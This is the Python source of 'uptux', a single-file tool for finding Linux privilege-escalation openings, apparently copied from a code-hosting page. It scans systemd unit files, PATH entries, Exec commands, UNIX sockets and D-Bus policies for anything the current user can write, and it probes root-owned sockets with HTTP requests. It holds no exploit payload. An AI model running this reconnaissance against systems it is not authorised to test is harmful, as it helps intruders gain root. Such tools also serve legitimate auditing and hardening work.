uptux by initstring (gitlab.com/initstring)
|
||||
|
||||
This tool checks for configuration issues on Linux systems that may lead to
|
||||
privilege escalation.
|
||||
|
||||
All functionality is contained in a single file, because installing packages
|
||||
in restricted shells is a pain.
|
||||
"""
|
||||
|
||||
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
import getpass
|
||||
import argparse
|
||||
import datetime
|
||||
import subprocess
|
||||
import inspect
|
||||
import glob
|
||||
import re
|
||||
|
||||
|
||||
BANNER = r'''
|
||||
|
||||
|
||||
|
||||
____ ___ ___________
|
||||
| | \_____\__ ___/_ _____ ___
|
||||
| | /\____ \| | | | \ \/ /
|
||||
| | / | |_> > | | | /> <
|
||||
|______/ | __/|____| |____//__/\_ \
|
||||
|__| \/
|
||||
|
||||
|
||||
|
||||
PrivEsc for modern Linux systems
|
||||
github.com/initstring/uptux
|
||||
|
||||
|
||||
'''
|
||||
|
||||
|
||||
########################## Global Declarations Follow #########################
|
||||
|
||||
LOGFILE = 'log-uptux-{:%Y-%m-%d-%H.%M.%S}'.format(datetime.datetime.now())
|
||||
PARSER = argparse.ArgumentParser(description=
|
||||
"PrivEsc for modern Linux systems,"
|
||||
" by initstring (gitlab.com/initstring)")
|
||||
PARSER.add_argument('-n', '--nologging', action='store_true',
|
||||
help='do not write output to a logfile')
|
||||
PARSER.add_argument('-d', '--debug', action='store_true',
|
||||
help='print some debugging info to the console')
|
||||
ARGS = PARSER.parse_args()
|
||||
|
||||
## Known directories for storing systemd files.
|
||||
SYSTEMD_DIRS = ['/etc/systemd/**/',
|
||||
'/lib/systemd/**/',
|
||||
'/run/systemd/**/',
|
||||
'/usr/lib/systemd/**/']
|
||||
|
||||
## Known directories for storing D-Bus configuration files
|
||||
DBUS_DIRS = ['/etc/dbus-1/system.d/',
|
||||
'/etc/dbus-1/session.d']
|
||||
|
||||
# Target files that we know we cannot exploit
|
||||
NOT_VULN = ['/dev/null',
|
||||
'.']
|
||||
|
||||
# Used to enable/disable the relative path checks of systemd
|
||||
SYSTEMD_PATH_WRITABLE = False
|
||||
########################## End of Global Declarations #########################
|
||||
|
||||
|
||||
############################ Setup Functions Follow ###########################
|
||||
|
||||
# This is the place for functions that help set up the application.
|
||||
|
||||
def tee(text, **kwargs):
|
||||
"""Used to log and print concurrently"""
|
||||
|
||||
# Defining variables to print color-coded messages to the console.
|
||||
colors = {'green': '\033[92m',
|
||||
'blue': '\033[94m',
|
||||
'orange': '\033[93m',
|
||||
'red': '\033[91m',}
|
||||
end_color = '\033[0m'
|
||||
boxes = {'ok': colors['blue'] + '[*] ' + end_color,
|
||||
'note': colors['green'] + '[+] ' + end_color,
|
||||
'warn': colors['orange'] + '[!] ' + end_color,
|
||||
'vuln': colors['red'] + '[VULNERABLE] ' + end_color,
|
||||
'sus': colors['orange'] + '[INVESTIGATE] ' + end_color}
|
||||
|
||||
# If this function is called with an optional 'box=xxx' parameter, these
|
||||
# will be prepended to the message.
|
||||
box = kwargs.get('box', '')
|
||||
if box:
|
||||
box = boxes[box]
|
||||
|
||||
# First, just print the item to the console.
|
||||
print(box + text)
|
||||
|
||||
# Then, write it to the log if logging is not disabled
|
||||
if not ARGS.nologging:
|
||||
try:
|
||||
with open(LOGFILE, 'a') as logfile:
|
||||
logfile.write(box + text + '\n')
|
||||
except PermissionError:
|
||||
ARGS.nologging = True
|
||||
print(boxes['warn'] + "Could not create a log file due to"
|
||||
" insufficient permissions. Continuing with checks...")
|
||||
|
||||
|
||||
def check_handler(check, check_name, check_desc):
|
||||
"""Check handler
|
||||
|
||||
This function takes a dictionary of check_desc,check_name and will
|
||||
iterate through them all.
|
||||
"""
|
||||
tee("\n\n++++++++++ {}: {} ++++++++++\n\n"
|
||||
.format(check_name, check_desc))
|
||||
tee("Starting module at {:%Y-%m-%d-%H.%M.%S}"
|
||||
.format(datetime.datetime.now()), box='ok')
|
||||
tee("\n")
|
||||
check()
|
||||
tee("\n")
|
||||
tee("Finished module at {:%Y-%m-%d-%H.%M.%S}\n"
|
||||
.format(datetime.datetime.now()), box='ok')
|
||||
|
||||
|
||||
def get_function_order(function):
|
||||
"""Helper function for build_checks_list"""
|
||||
# Grabs the line number of a function it is passed.
|
||||
order = function.__code__.co_firstlineno
|
||||
return order
|
||||
|
||||
|
||||
def build_checks_list():
|
||||
"""Dynamically build list of checks to execute
|
||||
|
||||
This function will grab, in order, all functions that start with
|
||||
'uptux_check_' and populate a list. This is then used to run the checks.
|
||||
"""
|
||||
# Start to build a list of functions we will execute.
|
||||
uptux_checks = []
|
||||
|
||||
# Get the name of this python script and all the functions inside it.
|
||||
current_module = sys.modules[__name__]
|
||||
all_functions = inspect.getmembers(current_module, inspect.isfunction)
|
||||
|
||||
# If the function name matches 'uptux_check_' we will include it.
|
||||
for function in all_functions:
|
||||
function_name = function[0]
|
||||
function_object = function[1]
|
||||
if 'uptux_check_' in function_name:
|
||||
uptux_checks.append(function_object)
|
||||
|
||||
# Use the helper function to sort by line number in script.
|
||||
uptux_checks.sort(key=get_function_order)
|
||||
|
||||
# Return the sorted list of functions.
|
||||
return uptux_checks
|
||||
|
||||
############################# End Setup Functions #############################
|
||||
|
||||
|
||||
########################### Helper Functions Follow ###########################
|
||||
|
||||
# This is the place to put functions that are used by multiple "Individual
|
||||
# Checks" (those starting with uptux_check_).
|
||||
|
||||
def shell_exec(command):
|
||||
"""Executes Linux shell commands"""
|
||||
# Split the command into a list as needed by subprocess
|
||||
command = command.split()
|
||||
|
||||
# Get both stdout and stderror from command. Grab the Python exception
|
||||
# if there is one.
|
||||
try:
|
||||
out_bytes = subprocess.check_output(command,
|
||||
stderr=subprocess.STDOUT)
|
||||
except subprocess.CalledProcessError as error:
|
||||
out_bytes = error.output
|
||||
except OSError as error:
|
||||
print('Could not run the following OS command. Sorry!\n'
|
||||
' Command: {}'.format(command))
|
||||
print(error)
|
||||
sys.exit()
|
||||
|
||||
# Return the lot as a text string for processing.
|
||||
out_text = out_bytes.decode('utf-8')
|
||||
out_text = out_text.rstrip()
|
||||
return out_text
|
||||
|
||||
|
||||
def find_system_files(**kwargs):
|
||||
"""Locates system files
|
||||
|
||||
Expected kwargs: known_dirs, search_mask
|
||||
"""
|
||||
|
||||
# Define known Linux folders for storing service unit definitions
|
||||
return_list = set()
|
||||
|
||||
# Recursively gather all service unit from the known directories
|
||||
# and add them to a deduplicated set.
|
||||
for directory in kwargs['known_dirs']:
|
||||
found_files = glob.glob(directory + kwargs['search_mask'])
|
||||
for item in found_files:
|
||||
# We don't care about files that point to /dev/null.
|
||||
if '/dev/null' not in os.path.realpath(item):
|
||||
return_list.add(item)
|
||||
|
||||
if ARGS.debug:
|
||||
print("DEBUG, FOUND FILES")
|
||||
for item in return_list:
|
||||
print(item)
|
||||
|
||||
return return_list
|
||||
|
||||
|
||||
def regex_vuln_search(**kwargs):
|
||||
"""Helper function for searching text files
|
||||
|
||||
This function will take a list of file paths and search through
|
||||
them with a given regex. Relevant messages will be printed to the console
|
||||
and log.
|
||||
|
||||
Expected kwargs: file_paths, regex, message_text, message_box
|
||||
"""
|
||||
# Start a list of dictionaries for files with interesting content.
|
||||
return_list = []
|
||||
|
||||
# Open up each individual file and read the text into memory.
|
||||
for file_name in kwargs['file_paths']:
|
||||
return_dict = {}
|
||||
|
||||
# Continue if we can't access the file.
|
||||
if not os.access(file_name, os.R_OK):
|
||||
continue
|
||||
|
||||
file_object = open(file_name, 'r')
|
||||
file_text = file_object.read()
|
||||
# Use the regex we pass in to the function to look for vulns.
|
||||
found = re.findall(kwargs['regex'], file_text)
|
||||
|
||||
# Save the file name and the interesting lines of text
|
||||
if found:
|
||||
return_dict['file_name'] = file_name
|
||||
return_dict['text'] = found
|
||||
return_list.append(return_dict)
|
||||
|
||||
# If the function is supplied with message info, print to console and log.
|
||||
# This function may be used instead as input to another function, so we
|
||||
# don't always want to print here.
|
||||
if return_list and kwargs['message_text'] and kwargs['message_box']:
|
||||
# Print to console and log the interesting file names and content.
|
||||
tee("")
|
||||
tee(kwargs['message_text'], box=kwargs['message_box'])
|
||||
for item in return_list:
|
||||
tee(" {}:".format(item['file_name']))
|
||||
for text in item['text']:
|
||||
tee(" {}".format(text))
|
||||
tee("")
|
||||
|
||||
if ARGS.debug:
|
||||
print("DEBUG, SEARCH RESULTS")
|
||||
for item in return_list:
|
||||
print(item['file_name'])
|
||||
for text in item['text']:
|
||||
print(" {}".format(text))
|
||||
|
||||
return return_list
|
||||
|
||||
|
||||
def check_file_permissions(**kwargs):
|
||||
"""Helper function to check permissions and symlink status
|
||||
|
||||
This function will take a list of file paths, resolve them to their
|
||||
actual location (for symlinks), and determine if they are writeable
|
||||
by the current user. Will also alert on broken symlinks and whether
|
||||
the target directory for the broken link is writeable.
|
||||
|
||||
Expected kwargs: file_paths, files_message_text, dirs_message_text,
|
||||
message_box
|
||||
"""
|
||||
# Start deuplicated sets for interesting files and directories.
|
||||
writeable_files = set()
|
||||
writeable_dirs = set()
|
||||
|
||||
for file_name in kwargs['file_paths']:
|
||||
|
||||
# Ignore known not-vulnerable targets
|
||||
if file_name in NOT_VULN:
|
||||
continue
|
||||
|
||||
# Is it a symlink? If so, get the real path and check permissions.
|
||||
# If it is broken, check permissions on the parent directory.
|
||||
if os.path.islink(file_name):
|
||||
target = os.readlink(file_name)
|
||||
|
||||
# Some symlinks use relative path names. Find these and prepend
|
||||
# the directory name so we can investigate properly.
|
||||
if target[0] == '.':
|
||||
parent_dir = os.path.dirname(file_name)
|
||||
target = parent_dir + '/' + target
|
||||
|
||||
if os.path.exists(target) and os.access(target, os.W_OK):
|
||||
writeable_files.add('{} -- symlink --> {}'
|
||||
.format(file_name, target))
|
||||
else:
|
||||
parent_dir = os.path.dirname(target)
|
||||
if os.access(parent_dir, os.W_OK):
|
||||
writeable_dirs.add((file_name, target))
|
||||
|
||||
# OK, not a symlink. Just check permissions.
|
||||
else:
|
||||
if os.access(file_name, os.W_OK):
|
||||
writeable_files.add(file_name)
|
||||
|
||||
if writeable_files:
|
||||
# Print to console and log the interesting findings.
|
||||
tee("")
|
||||
tee(kwargs['files_message_text'], box=kwargs['message_box'])
|
||||
for item in writeable_files:
|
||||
tee(" {}".format(item))
|
||||
|
||||
if writeable_dirs:
|
||||
# Print to console and log the interesting findings.
|
||||
tee("")
|
||||
tee(kwargs['dirs_message_text'], box=kwargs['message_box'])
|
||||
for item in writeable_dirs:
|
||||
tee(" {} --> {}".format(item[0], item[1]))
|
||||
|
||||
if not writeable_files and not writeable_dirs:
|
||||
tee("")
|
||||
tee("No writeable targets. This is expected...",
|
||||
box='note')
|
||||
|
||||
|
||||
def check_command_permission(**kwargs):
|
||||
"""Checks permissions on commands returned from inside files
|
||||
|
||||
Loops through a provided list of dictionaries with a file name and
|
||||
commands found within. Checks to see if they are writeable or missing and
|
||||
living in a writable directory.
|
||||
|
||||
Expected kwargs: file_paths, regex, message_text, message_box
|
||||
"""
|
||||
# Start an empty list for the return of the writable files/commands
|
||||
return_list = []
|
||||
|
||||
for item in kwargs['commands']:
|
||||
return_dict = {}
|
||||
return_dict['text'] = []
|
||||
|
||||
# The commands we have are long and may include parameters or even
|
||||
# multiple commands with pipes and ;. We try to split this all out
|
||||
# below.
|
||||
for command in item['text']:
|
||||
command = re.sub(r'[\'"]', '', command)
|
||||
command = re.split(r'[ ;\|]', command)
|
||||
|
||||
# We now have a list of some commands and some parameters and
|
||||
# other garbage. Checking for os access will clean this up for us.
|
||||
# The lines below determine if we have write access to anything.
|
||||
# It also checks for the case where the target does not exist but
|
||||
# the parent directory is writeable.
|
||||
for split_command in command:
|
||||
vuln = False
|
||||
|
||||
# Ignore known not-vulnerable targets
|
||||
if split_command in NOT_VULN:
|
||||
continue
|
||||
|
||||
# Some systemd items will specicify a command with a path
|
||||
# relative to the calling item, particularly timer files.
|
||||
relative_path = os.path.dirname(item['file_name'])
|
||||
|
||||
# First, check the obvious - is this a writable command?
|
||||
if os.access(split_command, os.W_OK):
|
||||
vuln = True
|
||||
|
||||
# What about if we assume it is a relative path?
|
||||
elif os.access(relative_path + '/' + split_command, os.W_OK):
|
||||
vuln = True
|
||||
|
||||
# Or maybe it doesn't exist at all, but is in a writeable
|
||||
# director?
|
||||
elif (os.access(os.path.dirname(split_command), os.W_OK)
|
||||
and not os.path.exists(split_command)):
|
||||
vuln = True
|
||||
|
||||
# If so, pack it all up in a new dictionary which is used
|
||||
# below for output.
|
||||
if vuln:
|
||||
return_dict['file_name'] = item['file_name']
|
||||
return_dict['text'].append(split_command)
|
||||
if return_dict not in return_list:
|
||||
return_list.append(return_dict)
|
||||
|
||||
if return_list and kwargs['message_text'] and kwargs['message_box']:
|
||||
# Print to console and log the interesting file names and content.
|
||||
tee("")
|
||||
tee(kwargs['message_text'], box=kwargs['message_box'])
|
||||
for item in return_list:
|
||||
tee(" {}:".format(item['file_name']))
|
||||
for text in item['text']:
|
||||
tee(" {}".format(text))
|
||||
tee("")
|
||||
|
||||
|
||||
########################## Helper Functions Complete ##########################
|
||||
|
||||
|
||||
########################### Individual Checks Follow ##########################
|
||||
|
||||
# Note: naming a new function 'uptux_check_xxxx' will automatically
|
||||
# include it in execution. These will trigger in the same order listed
|
||||
# in the script. The docstring will be pulled and used in the console and
|
||||
# log file, so keep it short (one line).
|
||||
|
||||
def uptux_check_sysinfo():
|
||||
"""Gather basic OS information"""
|
||||
# Gather a few basics for the report.
|
||||
uname = os.uname()
|
||||
tee("Host: {}".format(uname[1]))
|
||||
tee("OS: {}, {}".format(uname[0], uname[3]))
|
||||
tee("Kernel: {}".format(uname[2]))
|
||||
tee("Current user: {} (UID {} GID {})".format(getpass.getuser(),
|
||||
os.getuid(),
|
||||
os.getgid()))
|
||||
tee("Member of following groups:\n {}".format(shell_exec('groups')))
|
||||
|
||||
|
||||
def uptux_check_systemd_paths():
|
||||
"""Check if systemd PATH is writeable"""
|
||||
# Define the bash command.
|
||||
command = 'systemctl show-environment'
|
||||
output = shell_exec(command)
|
||||
|
||||
# Define the regex to find in the output.
|
||||
regex = re.compile(r'PATH=(.*$)')
|
||||
|
||||
# Take the output from bash and split it into a list of paths.
|
||||
output = re.findall(regex, output)
|
||||
|
||||
# This command may fail in some environments, only proceed if we have
|
||||
# a good match.
|
||||
if output:
|
||||
output = output[0].split(':')
|
||||
|
||||
# Check each path - if it is writable, add it to a list.
|
||||
writeable_paths = []
|
||||
for item in output:
|
||||
if os.access(item, os.W_OK):
|
||||
writeable_paths.append(item)
|
||||
else:
|
||||
writeable_paths = False
|
||||
|
||||
# Write the status to the console and log.
|
||||
if writeable_paths:
|
||||
tee("The following systemd paths are writeable. THIS IS ODD!\n"
|
||||
"See if you can combine this with a relative path Exec statement"
|
||||
" for privesc:",
|
||||
box='vuln')
|
||||
for path in writeable_paths:
|
||||
tee(" {}".format(path))
|
||||
global SYSTEMD_PATH_WRITABLE
|
||||
SYSTEMD_PATH_WRITABLE = True
|
||||
else:
|
||||
tee("No systemd paths are writeable. This is expected...",
|
||||
box='note')
|
||||
|
||||
|
||||
def uptux_check_services():
|
||||
"""Inspect systemd service unit files"""
|
||||
# Define known Linux folders for storing service unit definitions
|
||||
units = set()
|
||||
mask = '*.service'
|
||||
units = find_system_files(known_dirs=SYSTEMD_DIRS,
|
||||
search_mask=mask)
|
||||
|
||||
tee("Found {} service units to analyse...\n".format(len(units)),
|
||||
box='ok')
|
||||
|
||||
# Test for write access to any service files.
|
||||
# Will resolve symlinks to their target and also check for broken links.
|
||||
text = 'Found writeable service unit files:'
|
||||
text2 = 'Found writeable directories referred to by broken symlinks'
|
||||
box = 'vuln'
|
||||
tee("")
|
||||
tee("Checking permissions on service unit files...",
|
||||
box='ok')
|
||||
check_file_permissions(file_paths=units,
|
||||
files_message_text=text,
|
||||
dirs_message_text=text2,
|
||||
message_box=box)
|
||||
|
||||
# Only check relative paths if we can abuse them
|
||||
if SYSTEMD_PATH_WRITABLE:
|
||||
# Look for relative calls to binaries.
|
||||
# Example: ExecStart=somfolder/somebinary
|
||||
regex = re.compile(r'^Exec(?:Start|Stop|Reload)='
|
||||
r'(?:@[^/]' # special exec
|
||||
r'|-[^/]' # special exec
|
||||
r'|\+[^/]' # special exec
|
||||
r'|![^/]' # special exec
|
||||
r'|!![^/]' # special exec
|
||||
r'|)' # or maybe no special exec
|
||||
r'[^/@\+!-]' # not abs path or special exec
|
||||
r'.*', # rest of line
|
||||
re.MULTILINE)
|
||||
text = ('Possible relative path in an Exec statement.\n'
|
||||
'Unless you have writeable systemd paths, you won\'t be able to'
|
||||
' exploit this:')
|
||||
box = 'sus'
|
||||
tee("")
|
||||
tee("Checking for relative paths in service unit files [check 1]...",
|
||||
box='ok')
|
||||
regex_vuln_search(file_paths=units,
|
||||
regex=regex,
|
||||
message_text=text,
|
||||
message_box=box)
|
||||
|
||||
# Look for relative calls to binaries but invoked by an interpreter.
|
||||
# Example: ExecStart=/bin/sh -c 'somefolder/somebinary'
|
||||
regex = re.compile(r'^Exec(?:Start|Stop|Reload)='
|
||||
r'(?:@[^/]' # special exec
|
||||
r'|-[^/]' # special exec
|
||||
r'|\+[^/]' # special exec
|
||||
r'|![^/]' # special exec
|
||||
r'|!![^/]' # special exec
|
||||
r'|)' # or maybe no special exec
|
||||
r'.*?(?:/bin/sh|/bin/bash) ' # interpreter
|
||||
r'(?:[\'"]|)' # might have quotes
|
||||
r'(?:-[a-z]+|)'# might have params
|
||||
r'(?:[ ]+|)' # might have more spaces now
|
||||
r'[^/-]' # not abs path or param
|
||||
r'.*', # rest of line
|
||||
re.MULTILINE)
|
||||
text = ('Possible relative path invoked with an interpreter in an'
|
||||
' Exec statement.\n'
|
||||
'Unless you have writable systemd paths, you won\'t be able to'
|
||||
' exploit this:')
|
||||
box = 'sus'
|
||||
tee("")
|
||||
tee("Checking for relative paths in service unit files [check 2]...",
|
||||
box='ok')
|
||||
regex_vuln_search(file_paths=units,
|
||||
regex=regex,
|
||||
message_text=text,
|
||||
message_box=box)
|
||||
|
||||
# Check for write access to any commands invoked by Exec statements.
|
||||
# Thhs regex below is used to extract command lines.
|
||||
regex = re.compile(r'^Exec.*?=[!@+-]*(.*?$)',
|
||||
re.MULTILINE)
|
||||
# We don't pass message info to this function as we need to perform more
|
||||
# processing on the output to determine what is writeable.
|
||||
tee("")
|
||||
tee("Checking for write access to commands referenced in service files...",
|
||||
box='ok')
|
||||
service_commands = regex_vuln_search(file_paths=units,
|
||||
regex=regex,
|
||||
message_text='',
|
||||
message_box='')
|
||||
|
||||
# Another helper function to take the extracted commands and check for
|
||||
# write permissions.
|
||||
text = 'You have write access to commands referred to in service files:'
|
||||
box = 'vuln'
|
||||
check_command_permission(commands=service_commands,
|
||||
message_text=text,
|
||||
message_box=box)
|
||||
|
||||
|
||||
def uptux_check_timer_units():
|
||||
"""Inspect systemd timer unit files"""
|
||||
units = set()
|
||||
mask = '*.timer'
|
||||
units = find_system_files(known_dirs=SYSTEMD_DIRS,
|
||||
search_mask=mask)
|
||||
|
||||
tee("Found {} timer units to analyse...\n".format(len(units)),
|
||||
box='ok')
|
||||
|
||||
# Test for write access to any timer files.
|
||||
# Will resolve symlinks to their target and also check for broken links.
|
||||
text = 'Found writeable timer unit files:'
|
||||
text2 = 'Found writeable directories referred to by broken symlinks'
|
||||
box = 'vuln'
|
||||
tee("")
|
||||
tee("Checking permissions on timer unit files...",
|
||||
box='ok')
|
||||
check_file_permissions(file_paths=units,
|
||||
files_message_text=text,
|
||||
dirs_message_text=text2,
|
||||
message_box=box)
|
||||
|
||||
# Timers may reference systemd services, which are already being checked.
|
||||
# But they may reference a specific script (often a '.target' file of the
|
||||
# same name. Check to see if the action called is writable.
|
||||
# The regex below is used to extract these targets.
|
||||
regex = re.compile(r'^Unit=*(.*?$)',
|
||||
re.MULTILINE)
|
||||
|
||||
# We don't pass message info to this function as we need to perform more
|
||||
# processing on the output to determine what is writeable.
|
||||
tee("")
|
||||
tee("Checking for write access to commands referenced in timer files...",
|
||||
box='ok')
|
||||
timer_commands = regex_vuln_search(file_paths=units,
|
||||
regex=regex,
|
||||
message_text='',
|
||||
message_box='')
|
||||
|
||||
# Another helper function to take the extracted commands and check for
|
||||
# write permissions.
|
||||
text = 'You have write access to commands referred to in timer files:'
|
||||
box = 'vuln'
|
||||
check_command_permission(commands=timer_commands,
|
||||
message_text=text,
|
||||
message_box=box)
|
||||
|
||||
|
||||
def uptux_check_socket_units():
|
||||
"""Inspect systemd socket unit files"""
|
||||
units = set()
|
||||
mask = '*.socket'
|
||||
units = find_system_files(known_dirs=SYSTEMD_DIRS,
|
||||
search_mask=mask)
|
||||
|
||||
tee("Found {} socket units to analyse...\n".format(len(units)),
|
||||
box='ok')
|
||||
|
||||
# Test for write access to any socket files.
|
||||
# Will resolve symlinks to their target and also check for broken links.
|
||||
text = 'Found writeable socket unit files:'
|
||||
text2 = 'Found writeable directories referred to by broken symlinks'
|
||||
box = 'vuln'
|
||||
tee("")
|
||||
tee("Checking permissions on socket unit files...",
|
||||
box='ok')
|
||||
check_file_permissions(file_paths=units,
|
||||
files_message_text=text,
|
||||
dirs_message_text=text2,
|
||||
message_box=box)
|
||||
|
||||
# Check for write access to any socket files created by a service.
|
||||
# This can be interesting - I've seen a systemd service run a REST
|
||||
# API on a AF_UNIX socket. This would be missed by normal privesc
|
||||
# checks.
|
||||
# Thhs regex below is used to extract command lines.
|
||||
regex = re.compile(r'^Listen.*?=[!@+-]*(.*?$)',
|
||||
re.MULTILINE)
|
||||
|
||||
# We don't pass message info to this function as we need to perform more
|
||||
# processing on the output to determine what is writeable.
|
||||
tee("")
|
||||
tee("Checking for write access to AF_UNIX sockets...",
|
||||
box='ok')
|
||||
socket_files = regex_vuln_search(file_paths=units,
|
||||
regex=regex,
|
||||
message_text='',
|
||||
message_box='')
|
||||
|
||||
# Another helper function to take the extracted commands and check for
|
||||
# write permissions.
|
||||
text = ('You have write access to AF_UNIX socket files invoked by a'
|
||||
' systemd service.\n'
|
||||
'This could be interesting. \n'
|
||||
'You can attach to these files to look for an exploitable API.')
|
||||
box = 'sus'
|
||||
check_command_permission(commands=socket_files,
|
||||
message_text=text,
|
||||
message_box=box)
|
||||
|
||||
|
||||
def uptux_check_socket_apis():
|
||||
"""Look for web servers on UNIX domain sockets"""
|
||||
# Use Linux ss tool to find sockets in listening state
|
||||
command = 'ss -xlp -H state listening'
|
||||
output = shell_exec(command)
|
||||
|
||||
# We get Unicode back from the above command, let's fix
|
||||
output = str(output)
|
||||
|
||||
root_sockets = []
|
||||
socket_replies = {}
|
||||
|
||||
# We want to grab all the strings that look like socket paths
|
||||
sockets = re.findall(r' (/.*?) ', output)
|
||||
abstract_sockets = re.findall(r' (@.*?) ', output)
|
||||
|
||||
for socket_path in sockets:
|
||||
# For now, we are only interested in sockets owned by root
|
||||
if os.path.exists(socket_path) and os.stat(socket_path).st_uid == 0:
|
||||
root_sockets.append(socket_path)
|
||||
|
||||
tee("Trying to connect to {} unix sockets owned by uid 0..."
|
||||
.format(len(root_sockets)), box='ok')
|
||||
tee("")
|
||||
|
||||
# Cycle through each and try to send a raw HTTP GET
|
||||
for socket_target in root_sockets:
|
||||
|
||||
# Define a raw HTTP GET request
|
||||
http_get = ('GET / HTTP/1.1\r\n'
|
||||
'Host: localhost\r\n'
|
||||
'\r\n\r\n')
|
||||
|
||||
# Try to interact with the socket like a web API
|
||||
client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
client.settimeout(5)
|
||||
try:
|
||||
client.connect(socket_target)
|
||||
client.sendall(http_get.encode())
|
||||
|
||||
reply = client.recv(8192).decode()
|
||||
|
||||
# If we get a reply to this, we assume it is an API
|
||||
if reply:
|
||||
socket_replies[socket_target] = reply
|
||||
|
||||
except (socket.error, UnicodeDecodeError):
|
||||
continue
|
||||
|
||||
# If we have some replies, print to console
|
||||
# Hack-ish string replacement to get a nice indent
|
||||
if socket_replies:
|
||||
tee("The following root-owned sockets replied as follows",
|
||||
box='sus')
|
||||
for socket_path in socket_replies:
|
||||
tee(" " + socket_path + ":")
|
||||
tee(" " + socket_replies[socket_path]
|
||||
.replace('\n', '\n '))
|
||||
tee("")
|
||||
|
||||
|
||||
def uptux_check_dbus_issues():
|
||||
"""Inspect D-Bus configuration items"""
|
||||
units = set()
|
||||
mask = '*.conf'
|
||||
units = find_system_files(known_dirs=DBUS_DIRS,
|
||||
search_mask=mask)
|
||||
|
||||
tee("Found {} D-Bus conf files to analyse...\n".format(len(units)),
|
||||
box='ok')
|
||||
|
||||
# Test for write access to any files.
|
||||
# Will resolve symlinks to their target and also check for broken links.
|
||||
text = 'Found writeable D-Bus conf files:'
|
||||
text2 = 'Found writeable directories referred to by broken symlinks'
|
||||
box = 'vuln'
|
||||
tee("")
|
||||
tee("Checking permissions on D-Bus conf files...",
|
||||
box='ok')
|
||||
check_file_permissions(file_paths=units,
|
||||
files_message_text=text,
|
||||
dirs_message_text=text2,
|
||||
message_box=box)
|
||||
|
||||
# Checking for overly permission policies in D-Bus configuration files.
|
||||
# For example, normally "policy" is defined as a username. When defined in
|
||||
# an XML tag on its own, it applies to everyone.
|
||||
tee("")
|
||||
tee("Checking for overly permissive D-Bus configuration rules...",
|
||||
box='ok')
|
||||
|
||||
regex = re.compile(r'<policy>.*?</policy>',
|
||||
re.MULTILINE|re.DOTALL)
|
||||
|
||||
text = ('These D-Bus policies may be overly permissive as they do not'
|
||||
' specify a user or group.')
|
||||
box = 'sus'
|
||||
regex_vuln_search(file_paths=units,
|
||||
regex=regex,
|
||||
message_text=text,
|
||||
message_box=box)
|
||||
|
||||
########################## Individual Checks Complete #########################
|
||||
|
||||
def main():
|
||||
"""Main function"""
|
||||
print(BANNER)
|
||||
|
||||
# Dynamically build list of checks to execute.
|
||||
uptux_checks = build_checks_list()
|
||||
|
||||
# Use the handler to execute each check.
|
||||
for check in uptux_checks:
|
||||
check_name = check.__name__
|
||||
check_desc = check.__doc__
|
||||
check_handler(check, check_name, check_desc)
|
||||
|
||||
# Good luck!
|
||||
tee("")
|
||||
tee("All done, good luck!", box='note')
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
Loading…
Reference in New Issue
Block a user